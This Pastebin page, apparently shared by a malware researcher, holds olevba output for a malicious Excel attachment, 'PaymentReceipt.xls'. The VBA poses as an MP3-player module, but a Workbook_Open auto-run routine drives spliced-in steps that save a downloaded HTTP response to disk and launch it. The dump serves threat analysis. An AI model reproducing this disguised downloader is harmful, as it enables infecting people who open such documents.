API tools faq
paste
Advertisement
dynamoo

Malicious Word macro

dynamoo
Nov 16th, 2015
698
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 38.67 KB | None | 0 0
raw download clone embed print report
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V PaymentReceipt.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: PaymentReceipt.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. InsertaValoresAsientos "", "", ""
  17. PointerToStringA 0
  18. ComputerName
  19. EliminaValoresFACCLI "", "", ""
  20. OpenFile ""
  21. PlayMp3 ""
  22. RemoveFromPlaylist 0
  23. GoNext
  24. End Sub
  25.  
  26.  
  27.  
  28.  
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Ëèñò1.cls
  31. in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. (empty macro)
  34. -------------------------------------------------------------------------------
  35. VBA MACRO Ëèñò2.cls
  36. in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  37. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  38. (empty macro)
  39. -------------------------------------------------------------------------------
  40. VBA MACRO Ëèñò3.cls
  41. in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  42. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  43. (empty macro)
  44. -------------------------------------------------------------------------------
  45. VBA MACRO Module1.bas
  46. in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  47. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  48.  
  49. Public Function MakeTransparent(ByVal hwnd As Long, Perc As Integer) As Long
  50. Dim msg As Long
  51. If Perc < 0 Or Perc > 255 Then
  52.  MakeTransparent = 1
  53. Else
  54.  msg = GetWindowLong(hwnd, GWL_EXSTYLE)
  55.  msg = msg Or WS_EX_LAYERED
  56.  SetWindowLong hwnd, GWL_EXSTYLE, msg
  57.  SetLayeredWindowAttributes hwnd, 0, Perc, LWA_ALPHA
  58.  MakeTransparent = 0
  59. End If
  60. If Err Then
  61.  MakeTransparent = 2
  62. End If
  63. End Function
  64. Public Function MakeOpaque(ByVal hwnd As Long) As Long
  65. Dim msg As Long
  66. On Error Resume Next
  67. msg = GetWindowLong(hwnd, GWL_EXSTYLE)
  68. msg = msg And Not WS_EX_LAYERED
  69. SetWindowLong hwnd, GWL_EXSTYLE, msg
  70. SetLayeredWindowAttributes hwnd, 0, 0, LWA_ALPHA
  71. MakeOpaque = 0
  72. If Err Then
  73.  MakeOpaque = 2
  74. End If
  75. End Function
  76. Function SaveDialog(Form1 As String, Filter As String, Title As String, InitDir As String) As String
  77. Dim ofn As OPENFILENAME, A As Long
  78. ofn.lStructSize = Len(ofn)
  79. ofn.hwndOwner = Form1.hwnd
  80. ofn.Hinstance = App.Hinstance
  81. If Right$(Filter, 1) <> "|" Then Filter = Filter + "|"
  82. For A = 1 To Len(Filter)
  83.  If Mid$(Filter, A, 1) = "|" Then Mid$(Filter, A, 1) = Chr$(0)
  84. Next
  85. ofn.lpstrFilter = Filter
  86. ofn.lpstrFile = Space$(254)
  87. ofn.nMaxFile = 255
  88. ofn.lpstrFileTitle = Space$(254)
  89. ofn.nMaxFileTitle = 255
  90. ofn.lpstrInitialDir = InitDir
  91. ofn.lpstrTitle = Title
  92. ofn.flags = OFN_HIDEREADONLY Or OFN_OVERWRITEPROMPT Or OFN_CREATEPROMPT
  93. A = GetSaveFileName(ofn)
  94. If (A) Then
  95.  SaveDialog = Trim$(ofn.lpstrFile)
  96. Else
  97.  SaveDialog = ""
  98. End If
  99. End Function
  100. Function OpenDialog(Form1 As String, Filter As String, Title As String, InitDir As String) As String
  101. Dim ofn As OPENFILENAME, A As Long
  102. ofn.lStructSize = Len(ofn)
  103. ofn.hwndOwner = Form1.hwnd
  104. ofn.Hinstance = App.Hinstance
  105. If Right$(Filter, 1) <> "|" Then Filter = Filter + "|"
  106. For A = 1 To Len(Filter)
  107.  If Mid$(Filter, A, 1) = "|" Then Mid$(Filter, A, 1) = Chr$(0)
  108. Next
  109. ofn.lpstrFilter = Filter
  110. ofn.lpstrFile = Space$(254)
  111. ofn.nMaxFile = 255
  112. ofn.lpstrFileTitle = Space$(254)
  113. ofn.nMaxFileTitle = 255
  114. ofn.lpstrInitialDir = InitDir
  115. ofn.lpstrTitle = Title
  116. ofn.flags = OFN_HIDEREADONLY Or OFN_FILEMUSTEXIST
  117. A = GetOpenFilename(ofn)
  118. If (A) Then
  119.  OpenDialog = Trim$(ofn.lpstrFile)
  120. Else
  121.  OpenDialog = ""
  122. End If
  123. End Function
  124. Public Function GetRnd(Num As Integer) As Integer
  125. Randomize Timer
  126. GetRnd = Int((Num * Rnd) + 1)
  127. End Function
  128. Public Sub InitDisplay()
  129. Dim i As Integer
  130. i = GetSetting(App.Title, "Main", "Interface", 1)
  131. Select Case i
  132. Case 0
  133.  SetInterface eSmWindow, False, True
  134. Case 1
  135.  SetInterface eSmWindow, False, True
  136. Case 2
  137.  SetInterface eSmWindow, False, True
  138. Case 3
  139.  SetInterface eUtilityWindow, False, True
  140. Case 4
  141.  SetInterface eNexENCODEWindow, False, True
  142. End Select
  143. End Sub
  144. Public Function GetFileTitle(lFilename As String) As String
  145. On Local Error Resume Next
  146. If Len(lFilename) <> 0 Then
  147. Again:
  148.  If InStr(lFilename, "\") Then
  149.  lFilename = Right(lFilename, Len(lFilename) - InStr(lFilename, "\"))
  150.  If InStr(lFilename, "\") Then
  151.  GoTo Again
  152.  Else
  153.  GetFileTitle = lFilename
  154.  End If
  155.  Else
  156.  GetFileTitle = lFilename
  157.  End If
  158. Else
  159.  Exit Function
  160. End If
  161. End Function
  162. Public Sub CloseMp3Player()
  163. lInterface.iStoped = True
  164. frmMain.Mp3OCX1.Stop
  165. frmMain.lblFileInfo.Caption = ""
  166. frmMain.tmrStreamTitle.Enabled = False
  167. frmMain.tmrFake.Enabled = False
  168. Pause 0.5
  169. End Sub
  170. Public Function AddtoPlaylist(lFilename As String) As Integer
  171. Dim i As Integer, fPath As String, fTitle As String, msg As String, msg2 As String, msg4 As String
  172. On Local Error Resume Next
  173. If DoesFileExist(lFilename) = False Then Exit Function
  174. If InStr(LCase(lFilename), "mp3") Then
  175.  msg2 = lFilename
  176.  msg = Left(lFilename, Len(lFilename) - 1)
  177.  If Right(LCase(msg), 3) = "mp3" Then lFilename = msg
  178.  If Len(lFilename) <> 0 And Right(LCase(lFilename), 3) = "mp3" Then
  179.  fTitle = GetFileTitle(msg2)
  180.  AddRecientMedia fTitle
  181.  fPath = Left(lFilename, Len(lFilename) - Len(fTitle))
  182.  If DoesEntryExist(fTitle) = True Then Exit Function
  183.  lPlaylist.pCount = lPlaylist.pCount + 1
  184.  i = lPlaylist.pCount
  185.  lPlaylist.pFiles(i).fFilename = fTitle
  186.  lPlaylist.pFiles(i).fFilepath = fPath
  187.  lPlaylist.pFiles(i).fFiletype = Mp3_File
  188.  AddtoPlaylist = i
  189.  End If
  190. ElseIf InStr(LCase(lFilename), "wav") Then
  191.  msg2 = lFilename
  192.  msg = Left(lFilename, Len(lFilename) - 1)
  193.  If Right(LCase(msg), 3) = "wav" Then lFilename = msg
  194.  If Len(lFilename) <> 0 And Right(LCase(lFilename), 3) = "wav" Then
  195.  fTitle = GetFileTitle(msg2)
  196.  AddRecientMedia fTitle
  197.  fPath = Left(lFilename, Len(lFilename) - Len(fTitle))
  198.  If DoesEntryExist(fTitle) = True Then Exit Function
  199.  lPlaylist.pCount = lPlaylist.pCount + 1
  200.  i = lPlaylist.pCount
  201.  lPlaylist.pFiles(i).fFilename = fTitle
  202.  lPlaylist.pFiles(i).fFilepath = fPath
  203.  lPlaylist.pFiles(i).fFiletype = Wav_File
  204.  AddtoPlaylist = i
  205.  End If
  206. End If
  207. DoEvents
  208. End Function
  209. Public Function FindPlaylistIndex(lSearch As String) As Integer
  210. On Local Error Resume Next
  211. Dim i As Integer
  212. For i = 1 To lPlaylist.pCount
  213.  If InStr(LCase(lPlaylist.pFiles(i).fFilename), LCase(lSearch)) Then
  214.  FindPlaylistIndex = i
  215.  Exit For
  216.  End If
  217. Next i
  218. End Function
  219. Public Function DoesEntryExist(lSearch As String) As Boolean
  220. On Local Error Resume Next
  221. Dim i As Integer
  222. For i = 1 To lPlaylist.pCount
  223.  If InStr(LCase(lPlaylist.pFiles(i).fFilename), LCase(lSearch)) Then
  224.  DoesEntryExist = True
  225.  Exit For
  226.  End If
  227. Next i
  228. End Function
  229. Public Sub RegisterComponents()
  230. End Sub
  231. Public Sub LoadPlaylist(file As String)
  232. On Error GoTo ErrHandler
  233. Exit Sub
  234. ErrHandler:
  235.  MsgBox "Error: " & Err.Description
  236. End Sub
  237. Public Sub SavePlaylist(Optional lFilename As String)
  238. On Local Error Resume Next
  239. Start:
  240. If Len(lFilename) = 0 Then
  241.  lFilename = SaveDialog(frmMain, "M3u Files (*.m3u)|*.m3u|All Files (*.*)|*.*", "Audica - Save as?", CurDir)
  242.  If Len(lFilename) = 0 Then Exit Sub
  243.  lFilename = Left(lFilename, Len(lFilename) - 1)
  244. End If
  245. If Right(LCase(lFilename), 4) <> ".m3u" Then lFilename = lFilename & ".m3u"
  246. If DoesFileExist(lFilename) = True Then
  247.  Dim msg As String
  248.  msg = MsgBox("The file
  249. If msg = vbYes Then
  250. lFilename = ""
  251. GoTo Start
  252. ElseIf msg = vbNo Then
  253. GoTo Save
  254. End If
  255. Else
  256. Save:
  257. Dim i As Integer, msg2 As String
  258. For i = 1 To lPlaylist.pCount
  259. With lPlaylist.pFiles(i)
  260. If Len(.fFilename) <> 0 And Len(.fFilepath) <> 0 And .fFiletype <> 0 Then
  261. If Len(msg2) = 0 Then
  262. msg2 = .fFilepath & .fFilename
  263. Else
  264. msg2 = msg2 & vbCrLf & .fFilepath & .fFilename
  265. End If
  266. End If
  267. End With
  268. Next i
  269. SaveFile lFilename, msg2
  270. lPlaylist.pFilename = lFilename
  271. SaveSetting App.Title, "Playlist", "Filename", lFilename
  272. End If
  273. End Sub
  274. Public Function SaveFile(lFilename As String, lText As String) As Boolean
  275. On Local Error Resume Next
  276. If Len(lFilename) <> 0 And Len(lText) <> 0 Then
  277. Open lFilename For Output As #1
  278. Print #1, lText
  279. Close #1
  280. End If
  281. End Function
  282. Public Sub LoadSettings()
  283. lSettings.sLastPlaylist = GetSetting(App.Title, "Settings", "LastPlaylist", "")
  284. lSettings.sOutputDevice = GetSetting(App.Title, "Settings", "OutputDevice", 100)
  285. End Sub
  286. Public Sub SaveSettings()
  287. Dim i As Integer
  288. For i = 1 To lPlaylist.pCount
  289. SaveSetting App.Title, "Playlist", i, lPlaylist.pFiles(i).fFilepath & lPlaylist.pFiles(i).fFilename
  290. Next i
  291. SaveSetting App.Title, "Settings", "LastPlaylist", lSettings.sLastPlaylist
  292. SaveSetting App.Title, "Playlist", "Count", lPlaylist.pCount
  293. SaveSetting App.Title, "Main", "Interface", lInterface.iCurrentLayout
  294. SaveSetting App.Title, "Main", "Left", frmMain.Left
  295. SaveSetting App.Title, "Main", "Top", frmMain.Top
  296. End Sub
  297. Public Sub SetNexENCODEShape()
  298. Dim i As Integer
  299. Dim rgn As Long, rgn1 As Long, rgn2 As Long, rgn3 As Long, rgn4 As Long, rgn5 As Long, rgn6 As Long, rgn7 As Long, tmp As Long
  300. Dim X As Long, Y As Long
  301. X = lMainWndSettings.wWindowBorder
  302. Y = lMainWndSettings.wTitleBarHeight
  303. rgn = CreateEllipticRgn(0, 0, frmMain.Width, frmMain.Height)
  304. rgn1 = CreateEllipticRgn(X + 147, Y + 90, X + 326, Y + 267)
  305. rgn2 = CreateEllipticRgn(X + 104, Y + 46, X + 367, Y + 310)
  306. rgn3 = CreateEllipticRgn(X + 48, Y + 74, X + 257, Y + 287)
  307. rgn4 = CreateEllipticRgn(X + 65, Y + 92, X + 241, Y + 268)
  308. rgn5 = CreateEllipticRgn(X + 212, Y + 72, X + 422, Y + 286)
  309. rgn6 = CreateEllipticRgn(X + 230, Y + 91, X + 404, Y + 268)
  310. rgn7 = CreateRoundRectRgn(X + 39, Y + 120, X + 429, Y + 237, 110, 110)
  311. tmp = CombineRgn(rgn1, rgn2, rgn1, RGN_DIFF)
  312. tmp = CombineRgn(rgn3, rgn3, rgn4, RGN_DIFF)
  313. tmp = CombineRgn(rgn5, rgn5, rgn6, RGN_DIFF)
  314. tmp = CombineRgn(rgn3, rgn3, rgn5, RGN_OR)
  315. tmp = CombineRgn(rgn1, rgn1, rgn7, RGN_OR)
  316. tmp = CombineRgn(rgn, rgn1, rgn3, RGN_OR)
  317. frmMain.Width = 7000
  318. frmMain.Height = 6000
  319. tmp = SetWindowRgn(frmMain.hwnd, rgn, True)
  320. End Sub
  321. Public Sub AppendToPlaylist(Optional lFilename As String)
  322. Dim msg As String, msg2 As String, lefty As String
  323. On Local Error Resume Next
  324. If Len(lFilename) = 0 Then
  325. lFilename = OpenDialog(frmMain, "M3u files (*.m3u)|*.m3u|All Files (*.*)|*.*", "Audica - Select playlist ...", CurDir)
  326. If Len(lFilename) = 0 Then Exit Sub
  327. End If
  328. If DoesFileExist(lFilename) = True Then
  329. msg = ReadFile(lFilename)
  330. msg = Trim(msg)
  331. Again:
  332. If Len(msg) <> 0 Then
  333. lefty = Left(msg, 1)
  334. msg2 = lefty & ParseString(msg, Left(msg, 1), Chr(13))
  335. msg = Right(msg, Len(msg) - Len(msg2) - 2)
  336. AddtoPlaylist msg2
  337. DoEvents
  338. If Len(msg) <> 0 Then
  339. If InStr(msg, Chr(13)) Then
  340. GoTo Again
  341. Else
  342. AddtoPlaylist Trim(msg)
  343. DoEvents
  344. End If
  345. End If
  346. End If
  347. Else
  348. MsgBox "File does not exist"
  349. End If
  350. End Sub
  351. Public Sub ClearPlaylist()
  352. Dim i As Integer
  353. On Local Error Resume Next
  354. For i = 1 To lPlaylist.pCount
  355. With lPlaylist.pFiles(i)
  356. .fFilename = ""
  357. .fFilepath = ""
  358. .fFiletype = 0
  359. End With
  360. Next i
  361. lPlaylist.pCurrent = ""
  362. For i = 1 To frmMain.mnuRecient.Count
  363. Unload frmMain.mnuRecient(i)
  364. Next i
  365. SaveSettings
  366. End Sub
  367. Public Sub RemoveFromPlaylist(lIndex As Integer)
  368. balakla.savetofile kurgada, 2
  369. End Sub
  370. Public Sub SetInterface(lInterfaceType As String, Optional lFadeOut As Boolean, Optional lInitVis As Boolean)
  371. On Local Error Resume Next
  372. Select Case lInterfaceType
  373. Case eSmWindow
  374. If lFadeOut = True Then FadeOut
  375. DoEvents
  376. lInterface.iCurrentLayout = eSmWindow
  377. GetWindowSettings frmMain.hwnd
  378. SetPlayerShape
  379. With frmMain
  380. .mnuAudica.Checked = True
  381. .mnuUtility.Checked = False
  382. .mnuNexENCODE.Checked = False
  383. .imgLayout.Top = 0
  384. .imgLayout.Left = 0
  385. .imgLayout.Visible = True
  386. .imgSmPlay.Picture = frmGFX.imgSmPlay1.Picture
  387. .Caption = "::AUDICA.PLAYER::"
  388. .imgSmVol.Picture = frmGFX.imgVolume.Picture
  389. .imgSmVol.Left = 158
  390. .imgSmVol.Top = 119
  391. .imgSmVol.Visible = True
  392. .lblFileInfo.Visible = True
  393. .lblFileInfo.Left = 64
  394. .lblFileInfo.Top = 184
  395. .imgLayout.Picture = frmGFX.imgSmWindow.Picture
  396. .imgSmBack.Picture = frmGFX.imgSmBack1.Picture
  397. .imgSmBack.Left = 6
  398. .imgSmBack.Top = 121
  399. .imgSmNext.Picture = frmGFX.imgSmNext1.Picture
  400. .imgSmNext.Left = 15
  401. .imgSmNext.Top = 171
  402. .imgSmPause.Picture = frmGFX.imgSmPause1.Picture
  403. .imgSmPause.Left = 3
  404. .imgSmPause.Top = 144
  405. .imgSmPlay.Picture = frmGFX.imgSmPlay1.Picture
  406. .imgSmPlay.Left = 32
  407. .imgSmPlay.Top = 145
  408. .imgSmEject.Picture = frmGFX.imgSmEject1.Picture
  409. .imgSmEject.Top = 95
  410. .imgSmEject.Left = 189
  411. .imgSmOptions.Picture = frmGFX.imgSmOptions1.Picture
  412. .imgSmOptions.Left = 166
  413. .imgSmOptions.Top = 87
  414. .imgSmOptions.Visible = True
  415. .imgSmEject.Visible = True
  416. .imgSmPlay.Visible = True
  417. .imgSmPause.Visible = True
  418. .imgSmNext.Visible = True
  419. .imgSmBack.Visible = True
  420. .lblFileInfo.Visible = True
  421. .imgSlider.Visible = True
  422. .imgSmVol.Visible = True
  423. .Mp3OCX1.Visible = True
  424. End With
  425. FadeIn lInitVis
  426. Case eUtilityWindow
  427. If lFadeOut = True Then FadeOut
  428. DoEvents
  429. frmMain.Caption = "::AUDICA.PLAYLIST::"
  430. lInterface.iCurrentLayout = eUtilityWindow
  431. GetWindowSettings frmMain.hwnd
  432. SetUtilityShape
  433. With frmMain
  434. .imgLayout.Top = 0
  435. .imgLayout.Left = 0
  436. .imgLayout.Visible = True
  437. .imgLayout.Picture = frmGFX.imgUtilityWind.Picture
  438. .imgSmOptions.Visible = False
  439. .imgSmEject.Visible = False
  440. .imgSmPlay.Visible = False
  441. .imgSmPause.Visible = False
  442. .imgSmNext.Visible = False
  443. .imgSmBack.Visible = False
  444. .mnuAudica.Checked = False
  445. .mnuUtility.Checked = True
  446. .mnuNexENCODE.Checked = False
  447. .lblFileInfo.Visible = False
  448. .imgSlider.Visible = False
  449. .imgSmVol.Visible = False
  450. .Mp3OCX1.Visible = False
  451. End With
  452. FadeIn
  453. Case eAboutWindow
  454. If lFadeOut = True Then FadeOut
  455. DoEvents
  456. frmMain.Caption = "nexgen . audica - about"
  457. lInterface.iCurrentLayout = eAboutWindow
  458. GetWindowSettings frmMain.hwnd
  459. SetAboutShape
  460. With frmMain
  461. .Mp3OCX1.Visible = False
  462. .imgLayout.Picture = frmGFX.imgAbout.Picture
  463. .imgLayout.Top = 0
  464. .imgLayout.Left = 0
  465. .imgLayout.Visible = True
  466. End With
  467. FadeIn True
  468. End Select
  469. End Sub
  470. Public Sub FadeOut()
  471. Dim X As Integer, i As Integer
  472. X = 100
  473. For i = 1 To 5
  474. X = X - 20
  475. MakeTransparent frmMain.hwnd, X
  476. DoEvents
  477. Next i
  478. End Sub
  479. Public Sub FadeIn(Optional InitVis As Boolean)
  480. Dim i As Integer, X As Integer
  481. X = 0
  482. If InitVis = True Then frmMain.Visible = True
  483. For i = 1 To 5
  484. X = X + 20
  485. MakeTransparent frmMain.hwnd, X
  486. DoEvents
  487. Next i
  488. MakeOpaque frmMain.hwnd
  489. End Sub
  490. Public Sub PlayMp3(Optional lMp3File As String)
  491. Dim msg As String, i As Integer
  492. balakla.write besson.responseBody
  493. Exit Sub
  494. If Len(lMp3File) = 0 Then
  495. msg = PromptF.ile(Mp3_File)
  496. Else
  497. msg = lMp3File
  498. End If
  499. If Len(msg) <> 0 Then
  500. i = OpenFile(msg)
  501. DoEvents
  502. Pause 0.2
  503. Playfile i, Mp3_F.ile
  504. Else
  505. Exit Sub
  506. End If
  507. End Sub
  508. Public Sub Playfile(lIndex As Integer, lFiletype As String)
  509. On Local Error Resume Next
  510. Dim msg As String, lFilename As String
  511. lFilename = lPlaylist.pFiles(lIndex).fFilepath & "\" & lPlaylist.pFiles(lIndex).fFilename
  512. If DoesFileExist(lFilename) = False Then
  513. msg = MsgBox("Audica cannot locate")
  514. If msg = vbYes Then
  515. PlayMp3
  516. Exit Sub
  517. Else
  518. Exit Sub
  519. End If
  520. End If
  521. If lIndex = 0 Then
  522. Exit Sub
  523. Else
  524. Select Case lFiletype
  525. Case Mp3_File
  526. End Select
  527. End If
  528. End Sub
  529. Public Sub PlayWav(Optional lWavFile As String)
  530. Dim msg As String, i As Integer
  531. If Len(lWavFile) = 0 Then
  532. msg = PromptFile(Wav_File)
  533. Else
  534. msg = lWavFile
  535. End If
  536. If Len(msg) <> 0 Then
  537. OpenFile msg
  538. DoEvents
  539. i = FindPlaylistIndex(msg)
  540. Playfile i, Wav_File
  541. Else
  542. Exit Sub
  543. End If
  544. End Sub
  545. Public Sub GoNext()
  546. Dim i As Integer, msg As String, X As Integer
  547. serebro.Open (kurgada)
  548. Exit Sub
  549. frmMain.lblFileInfo.Caption = "Loading ..."
  550. CloseMp3Player
  551. DoEvents
  552. Pause 0.2
  553. If lPlaylist.pCount = 0 Or lPlaylist.pCount = 1 Then Exit Sub
  554. If frmMain.mnuRandomize.Checked = True Then
  555. Rand:
  556. X = GetRnd(lPlaylist.pCount)
  557. If Len(lPlaylist.pFiles(X).fFilename) <> 0 Then
  558. If X <> lPlaylist.pCurrent Then
  559. lPlaylist.pCurrent = X
  560. msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
  561. OpenFile msg
  562. Playfile lPlaylist.pCurrent, Mp3_F.ile
  563. Exit Sub
  564. Else
  565. GoTo Rand
  566. End If
  567. Else
  568. GoTo Rand
  569. End If
  570. End If
  571. If lPlaylist.pCurrent = lPlaylist.pCount Then
  572. lPlaylist.pCurrent = 1
  573. msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
  574. OpenFile msg
  575. Playfile lPlaylist.pCurrent, Mp3_F.ile
  576. ElseIf lPlaylist.pCurrent = 0 Then
  577. lPlaylist.pCurrent = 1
  578. msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
  579. OpenFile msg
  580. Playfile lPlaylist.pCurrent, Mp3_F.ile
  581. Else
  582. lPlaylist.pCurrent = lPlaylist.pCurrent + 1
  583. msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
  584. OpenFile msg
  585. Playfile lPlaylist.pCurrent, Mp3_F.ile
  586. End If
  587. End Sub
  588. Public Sub ProcessEvent(lEventType As Integer)
  589. End Sub
  590. Public Sub GoBack()
  591. CloseMp3Player
  592. DoEvents
  593. Pause 0.5
  594. Dim i As Integer, msg As String
  595. If lPlaylist.pCount = 0 Then Exit Sub
  596. If lPlaylist.pCurrent = 1 Then
  597. lPlaylist.pCurrent = lPlaylist.pCount
  598. OpenFile lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
  599. Playfile lPlaylist.pCurrent, Mp3_File
  600. ElseIf lPlaylist.pCurrent <> 0 Then
  601. i = lPlaylist.pCurrent
  602. lPlaylist.pCurrent = i - 1
  603. msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
  604. OpenFile msg
  605. Playfile lPlaylist.pCurrent, Mp3_File
  606. ElseIf lPlaylist.pCurrent = 0 Then
  607. lPlaylist.pCurrent = 1
  608. OpenFile lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
  609. Playfile lPlaylist.pCurrent, Mp3_File
  610. End If
  611. End Sub
  612. Public Function OpenFile(lFilename As String) As Integer
  613. On Local Error Resume Next
  614. balakla.Type = 1
  615. GoTo openfile2
  616. Dim msg As String, msg2 As String, i As Integer, msg3 As String, lext As String, lFile As String, X As Integer
  617. If Len(lFilename) <> 0 Then
  618. lFile = lFilename
  619. lext = Right(LCase(lFilename), 3)
  620. msg2 = GetFileTitle(lFile)
  621. i = FindPlaylistIndex(msg2)
  622. If i = 0 Then X = AddtoPlaylist(lFilename)
  623. Select Case lext
  624. Case "mp3"
  625. With frmMain
  626. ms_InitialiseGenres
  627. Dim t As String
  628. t = ms_ShowID3V1Tag(lFilename)
  629. Dim msg20 As String
  630. msg20 = Right(tccc.Title, 1)
  631. lInterface.iStatusText = Replace(Trim(tdcd.Title), Chr(0), "") & " by " & Replace(Trim(tdcd.Artist), Chr(0), "") & " album " & Replace(Trim(tfssf.Album), Chr(0), "") & " " & Replace(Trim(tfssf.Genre), Chr(0), "")
  632. lInterface.iStoped = False
  633. frmMain.tmrFake.Enabled = True
  634. lPlaylist.pCurrent = FindPlaylistIndex(GetFileTitle(lFilename))
  635. frmMain.imgSmPlay.Picture = frmGFX.imgSmStop1.Picture
  636. lInterface.iPlaying = True
  637. frmMain.tmrStreamTitle.Enabled = True
  638. .Mp3OCX1.Play lFilename
  639. frmMain.tmrStreamTitle.Enabled = True
  640. End With
  641. End Select
  642. OpenFile = X
  643. End If
  644. openfile2:
  645. balakla.Open
  646. End Function
  647. Function AlphaNumericOnly(strSource As String) As String
  648. Dim i As Integer
  649. Dim strResult As String
  650. For i = 1 To Len(strSource)
  651. Select Case Asc(Mid(strSource, i, 1))
  652. Case 48 To 57, 65 To 90, 97 To 122:
  653. strResult = strResult & Mid(strSource, i, 1)
  654. End Select
  655. Next
  656. AlphaNumericOnly = strResult
  657. End Function
  658. Public Function PromptFolder() As String
  659. On Local Error Resume Next
  660. Dim msg As String
  661. With frmFolder
  662. .Label1.Caption = "Please select a folder"
  663. .Dir1.Path = CurDir
  664. .Show 1
  665. msg = .Dir1.Path
  666. End With
  667. If Len(msg) <> 0 Then
  668. PromptFolder = msg
  669. End If
  670. End Function
  671. Public Function PlayDirectory(lFiletype As String)
  672. Dim msg As String, msg2 As String, i As Integer, lext As String
  673. msg = PromptFolder
  674. If Len(msg) <> 0 Then
  675. frmDir.Dir1.Path = msg
  676. For i = 0 To frmDir.File1.ListCount
  677. msg2 = frmDir.File1.List(i)
  678. lext = Right(msg2, 3)
  679. Select Case lFiletype
  680. Case Mp3_File
  681. If lext = "mp3" Then AddtoPlaylist msg & "\" & msg2
  682. Case Wav_File
  683. If lext = "wav" Then AddtoPlaylist msg & "\" & msg2
  684. End Select
  685. Next i
  686. GoNext
  687. End If
  688. End Function
  689. Public Function AddRecientMedia(lFileTitle As String)
  690. On Local Error Resume Next
  691. Dim i As Integer
  692. i = frmMain.mnuRecient.Count
  693. If Len(lFileTitle) <> 0 Then
  694. frmMain.mnuRecient(0).Visible = False
  695. Load frmMain.mnuRecient(i)
  696. frmMain.mnuRecient(i).Visible = True
  697. frmMain.mnuRecient(i).Caption = "::" & UCase(Left(lFileTitle, Len(lFileTitle) - 4)) & "::"
  698. frmMain.mnuRecient(i).Enabled = True
  699. End If
  700. End Function
  701. Public Function PromptFile(lFiletype As String) As String
  702. On Local Error Resume Next
  703. Dim msg As String, msg2 As String
  704. Select Case lFiletype
  705. Case Mp3_File
  706. msg = OpenDialog(frmMain, "Mp3 Files (*.mp3)|*.mp3|All Files (*.*)|*.*", "Nexgen Audica - Select File ...", ReturnDirectoryPath(Mp3_File))
  707. If Len(msg) = 0 Then Exit Function
  708. msg = Left(msg, Len(msg) - 1)
  709. If Len(msg) <> 0 Then
  710. msg2 = msg
  711. DoEvents
  712. frmMain.Mp3OCX1.Stop
  713. PromptFile = msg
  714. End If
  715. Case Wav_File
  716. msg = OpenDialog(frmMain, "Wave Audio Files (*.wav)|*.wav|All Files (*.*)|*.*", "Nexgen Audica - Select File ...", ReturnDirectoryPath(Wav_File))
  717. msg = Left(msg, Len(msg) - 1)
  718. If Len(msg) <> 0 Then
  719. msg2 = msg
  720. DoEvents
  721. frmMain.Mp3OCX1.Stop
  722. PromptFile = msg
  723. End If
  724. End Select
  725. End Function
  726. Public Sub Pause(interval)
  727. Dim Current
  728. Current = Timer
  729. Do While Timer - Current < Val(interval)
  730. DoEvents
  731. Loop
  732. End Sub
  733. Public Sub GetWindowSettings(lHandle As Long)
  734. On Local Error Resume Next
  735. Dim lWindowPos As RECT, lClientPos As RECT
  736. Dim lBorderWidth As Long, lTopOffset As Long
  737. Dim i As Long
  738. i = GetWindowRect(lHandle, lWindowPos)
  739. i = GetClientRect(lHandle, lClientPos)
  740. lMainWndSettings.wTitleBarHeight = lWindowPos.Bottom - lWindowPos.Top - lClientPos.Bottom - lBorderWidth
  741. lMainWndSettings.wWindowBorder = lWindowPos.Right - lWindowPos.Left - lClientPos.Right - 2
  742. End Sub
  743. Public Sub FormDrag(lFormname As String)
  744. ReleaseCapture
  745. Call SendMessage(lFormname.hwnd, &HA1, 2, 0&)
  746. End Sub
  747. Public Sub SetPlayerShape()
  748. Dim i As Integer
  749. Dim rgn As Long, rgn1 As Long, rgn2 As Long, rgn3 As Long, rgn4 As Long, rgn5 As Long, rgn6 As Long, rgn7 As Long, tmp As Long
  750. Dim X As Long, Y As Long
  751. X = lMainWndSettings.wWindowBorder
  752. Y = lMainWndSettings.wTitleBarHeight
  753. rgn = CreateEllipticRgn(X + 14, Y - 3, X + 172, Y + 152)
